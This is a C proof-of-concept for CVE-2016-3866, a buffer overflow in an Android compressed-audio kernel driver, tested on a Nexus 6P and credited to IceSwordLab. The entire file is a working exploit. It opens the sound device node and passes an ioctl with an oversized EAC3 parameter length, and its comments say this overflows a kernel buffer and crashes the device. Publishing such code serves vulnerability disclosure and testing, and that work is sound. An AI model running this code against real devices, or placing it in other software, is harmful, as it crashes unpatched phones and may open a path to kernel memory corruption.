// test the poc in nexus 6p
// with fingerprint: google/angler/angler:6.0.1/MTC19T/2741993:user/release-keys
//
// https://code.google.com/p/android/issues/detail?id=210228
// https://source.android.com/security/bulletin/2016-09-01.html , CVE-2016-3866
//
// Author : chengjia4574@gmail.com (IceSwordLab)

#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>
#include "compress_params.h"

struct snd_compressed_buffer {
        __u32 fragment_size;
        __u32 fragments;
};
struct snd_compr_params {
        struct snd_compressed_buffer buffer;
        struct snd_codec codec;
        __u8 no_wake_mode;
};

#define SNDRV_COMPRESS_SET_PARAMS       _IOW('C', 0x12, struct snd_compr_params)
#define MAX_AC3_PARAM_SIZE              (18*2*sizeof(int))

int test_ioctl(int fd)
{
	int cmd;
	int ret;
	int i = 0;
	int command;
	struct snd_compr_params param;
	struct snd_dec_ddp *ddp = &(param.codec.options.ddp);

	cmd = SNDRV_COMPRESS_SET_PARAMS;
	param.codec.id = SND_AUDIOCODEC_EAC3;
	//ddp->params_length = MAX_AC3_PARAM_SIZE; // valid length , not crash the device
	ddp->params_length = 0xffffff; // invalid length , overflow buffer and crash the device
	ret = ioctl(fd, cmd, &param);
	if(ret<0) {
		printf("ioctl fail %s\n",strerror(errno));
	} 

	return 0;
}

	int
main(int argc, char *argv[])
{
	char* path = "/dev/snd/pcmC0D19c";
	int fd;
	fd = open(path, O_RDWR);
	if(fd<0) {
		printf("open fail %s\n",strerror(errno));
		return -1;
	}
	printf("open %s succ\n",path);
	test_ioctl(fd);
	close(fd);
	return 0;
}
